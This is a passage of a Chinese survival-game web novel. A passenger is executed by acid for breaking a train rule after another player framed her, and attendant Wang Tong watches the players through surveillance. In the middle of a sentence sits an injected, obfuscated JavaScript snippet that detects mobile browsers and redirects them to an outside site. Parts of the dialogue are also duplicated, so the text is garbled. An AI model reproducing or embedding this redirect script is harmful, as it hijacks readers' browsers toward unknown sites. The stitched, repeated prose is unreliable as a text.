中年妇女慌乱地摸索全身，从羽绒服斜侧口袋中一无所获。直到她掀起羽绒服下摆，露出裤子后兜。 餐车内有人惊呼：“你的后兜！有巧克力！” 她迅速掏出那片薄薄的巧克力，毫不犹豫地扔回03号车厢。巧克力轻飘飘地落在地毯上。 她大喊：“看到了吧？不是我！我不知道是谁放进去的，现在还给你们了。” 然而，冷冰冰的机械音并未响起。 她环顾四周，寻求帮助，但玩家们或扭头，或垂眼，无人出声。绝望中，她冲向03号车厢，试图揪住车厢尾角落里的一个男人。 她尖叫：“是不是你？是不是你趁我脱下外套时塞进去的？” “你为什么要害……” 话音未落，她的声音戛然而止。 两根钢爪铁索突然飞出，扣住她的肩膀，将她吊在03、04号车厢连接处的半空中。 紧接着，一股滚烫的强酸从头顶喷溅而下。她的哀嚎声嘶力竭，强酸在极寒中发出滋滋声，迅速腐蚀她的羽绒服和□□。 她的皮肤在强酸下融化，四肢无力地垂下。三分钟后，她的身体化作一团数颗绿白交织的冰碴，滚落在地。其中一颗骨碌碌滚至一只黑色皮靴前，被皮靴一脚踩住、用力踩碎。 从皮靴底面朝上看去，来的人正是乘务员汪橦。她手拿再普通不过的簸箕、扫帚，身后挤在04号车厢前门口的玩家们被突然出现的汪橦吓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053495|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一跳，四散让出一个圆形空地供汪橦打扫。 她离开后，餐车内的气氛重新活跃。 一位女玩家走到被指控的男玩家面前，大声质问：“你为什么要害她？” 监控室内，汪橦正和安全员司寇通过全方位的监控视角将餐车里发生的事情看得一清二楚。 男玩家瘦削羸弱，却毫不畏惧地反问：“你既然看到了，为什么不当时就提醒她呢？” 女玩家一时语塞。 男玩家推了推钢架眼镜，笑道：“我拿她试验规则，你也想知道违背规则的后果吧？” 他毫不掩饰：“你和我同样虚伪，装什么呢？” 女玩家反驳：“你不怕其他玩家孤立你？这个副本需要合作。你现在已经失去了信用，还是多操心自己吧！” 男玩家不再回应，低头继续喝咖啡。女玩家愤然跺脚，回到同伴身边。 汪橦明白，餐车内目睹男玩家行为的玩家不止女玩家一人。但无人提醒中年妇女。为什么？ 有的玩家如男玩家和女玩家，想试探规则；有的玩家纯粹看热闹，成为乐子人；有的玩家则选择明哲保身，不掺合其中…… 被质问的男玩家羸弱瘦削，似乎轻轻一推就能摔倒。但他说话时却给人截然相反的感觉。他并不辩解，而是反问女玩家： “你既然看到了，为什么不当时就提醒她呢？” 女玩家似乎没想到这个男玩家还敢胆大地反问，一时语塞没有说话。 被质问的男玩家轻轻推了推钢架眼镜，笑着继续说：“我拿她试验广播里说的’餐车食物不可外带。’的规则，你也想知道如果有人违背规则的话，会有什么后果吧？” 然而，前三类玩家的眼神冰冷而漠然，仿佛一切与他们无关。但还有一类玩家，他们的目光中闪烁着截然不同的光芒—— 当中年妇女玩家陷入绝境时，他们的脸上浮现出的是难以掩饰的喜悦与狂热！ 或许在经历前两个副本时，汪橦还无法理解，为何这些玩家会在同类死去时感到兴奋甚至狂热。但当她登上“北极星号”，发现自己竟能在副本中使用其他玩家遗留的道具“千机丝”时，她终于明白了—— 他们渴望的，是中年妇女玩家死后的一切。她的防寒衣物、取暖器，甚至可能藏在她身上的道具……这些才是他们眼中真正的战利品。 玩家之间的绞肉机才刚刚启动一周，而这绝非终点，仅仅是一个残酷的开始。 33. 北极星号（9） 汪橦透过近在咫尺的全息屏幕，仿佛自己正坐在沙发对面，与那位女玩家仅一步之遥。她眯起眼睛，仔细打量着刚刚坐回沙发的女玩家—— 那张脸似乎有些熟悉。 “她是不是上次那个喊我帮忙救治年轻母亲和婴儿的女生？”汪橦心中暗想，“叫什么名字来着？” 与此同时，高隽正与李雯菡低声抱怨，语气中满是愤懑。忽然，她感到背后一阵寒意，仿佛有一双眼睛正紧紧盯着自己。她下意识地环顾四周，却什么也没发现。 一旁的李雯菡察觉到她的异样，停下话题，低声问道：“怎么了？” 高隽皱了皱眉，手指不自觉地拢了拢羽绒服的立领，低声回应：“没事，可能是我的错觉吧。但我总觉得……有人在盯着我。” 李雯菡闻言，眉头微蹙，眼神中闪过一丝警惕。她压低声音，语气严肃地提醒道：“小心点，这地方可没什么’错觉’可言。” “我们走吧。”高隽起身，她往身后斜侧递出一个眼神，再伸手拉上李雯菡，“去茶室喝杯茶，再回车厢？” 虽然列车后勤补给不足，但也只体现在餐车的食物数量、种类和乘务员无法再为玩家提供保暖用品上。 自“极地旅游团”副本开始以来，大家似乎遗忘了“北极星号”作为豪华旅游专列拥有一间专门的茶室车厢。 自夜晚餐车里的酒吧关闭后，高隽和李雯菡无意间想起了这间茶室车厢，为了不消耗自己带来的提供热量的可可粉，每当两人想要振奋精神时就会来这间车厢喝茶。 茶室车厢位于列车中段，不同于其他车厢的铁门，茶室车厢的前后门皆为紫檀木雕花门。 推开门，一股淡雅的檀香迎面而来。车厢顶部镶嵌着整片的磨砂玻璃，底部安的是深褐色的实木地板。两侧的墙壁上悬挂着几幅水墨山水画。 汪橦自高隽、李雯菡和那位抱着自己孩子的年轻母亲离开餐车后，便不再看餐车内的监控画面，而是跟随她们一路看起了茶室监控。 车厢两侧是相对而设的卡座，每个卡座都用半透明的纱帘隔开，既保证了私密性，又不失通透感。 高隽查看一番茶室车厢内，发现除了她们四人外再无旁人后，安心地招呼那位年轻母亲：“快来坐！” 原来自第三天高隽、李雯菡帮了这位名叫林悦的女玩家和她的孩子后，两人大致了解到她也是新人玩家的一员。 “极地旅游团”是林悦和自己小孩的第二次副本，她的身上并没有趁手的道具。至于第一次副本两人能活下来也纯粹是个意外—— 林悦和小孩的第一次副本是在海上的一艘大船倾斜时求生，坚持一整夜活到第二天黎明救援队出现时，即视为副本通过。 而这艘船的船长坚持“妇孺优先”原则，分给了林悦一艘救生艇。林悦这才侥幸活了下来。 “北极星号”停靠极地站时，林悦并非没有下车，但是她去的稍晚，加上怀里抱着的婴儿需要她时不时关注他的情况，难以全神贯注和其他玩家抢东西。 林悦最后只买了几袋方便面和即食饭团，至于暖宝宝、热水袋、取暖器、烤火电炉是一个也没能收入囊中。 幸运的是，有个玩家看林悦一个孤零零的太可怜，让给她一桶奶粉留给怀中的孩子冲泡着喝。 林悦也去了二层的服饰店里买了保暖手套、帽子还有防寒靴。十分幸运的是，二层有专门的婴幼儿服装店，解决了不少她的孩子防寒问题。 回到列车上后，晚饭时高隽、李雯菡和林悦四人又碰见了。三个成人干脆坐在一起边聊边吃，在高隽殷切的眼神下，李雯菡同意让林悦带着自己的孩子跟着她们两人。 但是为了不让其他玩家生疑，林悦必须在玩家聚集时和李雯菡、高隽保持一定的距离。反正只要在李雯菡的3米半径内，永恒暖光石就可以发挥作用。 【名称：永恒暖光石（稀有） 外观：一块拳头大小的半透明晶体，内部仿佛有流动的火焰，散发出柔和的金色光芒。晶体表面刻有古老的符文，触摸时能感受到微微的温暖。 特性：随时根据环境进行自适应调节】 【用途：1.取暖：使持有者及其周围一定范围内（约3米半径）保持温暖，即使在极寒的环境中也能提供舒适的体温保护。 2.照明：使用者可以通过简单的触摸控制，将光线聚焦在特定方向或区域，方便探索或阅读。 3.驱散黑暗生物：暖光石的光芒对某些黑暗生物或邪恶存在具有驱散效果，能够在一定范围内保护持有者免受它们的侵扰。 4.心灵安抚：暖光石散发出的温暖光芒还能在一定程度上安抚使用者的情绪，缓解焦虑和恐惧，适合在高压环境下使用。】 现在茶室车厢里既然没有其他人，那么林悦自然不必再遮掩，直接和高隽、李雯菡坐在一起喝起热茶。 由于每晚乘务员都要查寝，在乘务员查寝的时间段里，林悦必须和宝宝待在自己的软卧车厢直到乘务员离开后，她可以溜到李雯菡的房间去，这样她就不必惧怕夜晚在睡梦中冻死。 “北极星号”作为一辆原本用途就是豪华旅游专列的高级列车，加上副本发生地的属性，它的内部空间是得到特别延展的。 尽管外表看上去它和其他高级列车无异，但走入内部，它的每一节车厢、每一个玩家休息的房间都得到了成倍的扩展。 因此永恒暖光石的3米半径范围刚好圈住了李雯菡的房间内，供四人取暖的同时，不用担心无意中向李雯菡前后房间挨着的玩家供暖而暴露她们拥有一个稀有取暖道具的事实。 汪橦坐在监控室里轻轻摇头，那日她救了林悦后，她观察了林悦四天。老实说，她不认为林悦身上有一股逼她活下去活到通关游戏的生命力。 汪橦口中“生命力”指的是林悦作为一个独立人格主体应该在游戏里表现出来的拼命活下去的劲。林悦虽然对自己的小孩关怀备至，可她似乎温柔过余，而刚强果断不足。 余光中茶室车厢外的过道上出现了一道鬼鬼祟祟的身影。汪橦看过去——那是，之前那个在餐车坑了中年妇女玩家的男人？ 男人小心拉开了一道狭窄的缝隙，侧身踮脚从缝隙里挤进了茶室。他的动静带来一阵微风，吹起 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林深最后诚恳地表示，哪怕是为了自己，他希望汪橦可以利用自己作为乘务员的优势在列车上找一找究竟是什么东西会有嫌疑最后危害所有人。 汪橦听完林深的话，就大概猜到了那个具有潜在威胁的东西身处何处—— “昨晚有玩家闯入不该进入的地方，导致’北极星号’安全系统的防护升级，从而导致整个副本升级。”列车长安德鲁言犹在耳。 汪橦早在玩家触发更高级别的列车安全等级时已知： 1.“北极星号”除了每次执行“极地旅游团”的副本任务，还会同时帮大世界的大财团、大公司运输它们需要的货物。大世界的货物不能被玩家触碰到。 2.这批货物的存放空间入口在监控室里。 3.安全等级提升后，乘务员不得进入监控室。监控室仅有司寇和列车长安德鲁拥有通行权限。 汪橦近四天一直努力和司寇打好关系，这才能够同他一起进入监控室吃吃喝喝。安德鲁对此似乎视而不见。 安德鲁不语，安德鲁心里有苦说不出。他一方面担忧自己面对汪橦防水，不够大公无私会触怒大人，一方面又忧虑自己如果真的管大人，妨碍了大人心里的计划，惹怒大人后自己死得更惨…… 犹豫来，纠结去，安德鲁索性不再进入监控室，甚至路过这里，以免和汪橦碰面。 他决定当个脑袋埋进沙里的鸵鸟，只要他没有当场逮住汪橦违背指令进入监控室，那么汪橦悄悄和司寇蝇营狗苟，溜进监控室的事就并不存在。 对此一无所知的汪橦感叹司寇大部分时候也是一个摸鱼选手，否则他不会在汪橦将零食带入监控室时不但不阻止还快乐地加入。 可惜每一次汪橦进入监控室都必须在司寇的陪伴下。并且司寇虽然摸鱼，某些方面却十分负责，他绝不会中途出门去卫生间，将监控室独自留给汪橦一人。 到现在，汪橦仍然没有机会，找到入口进入货物储存的那个传说中的独立“异空间”。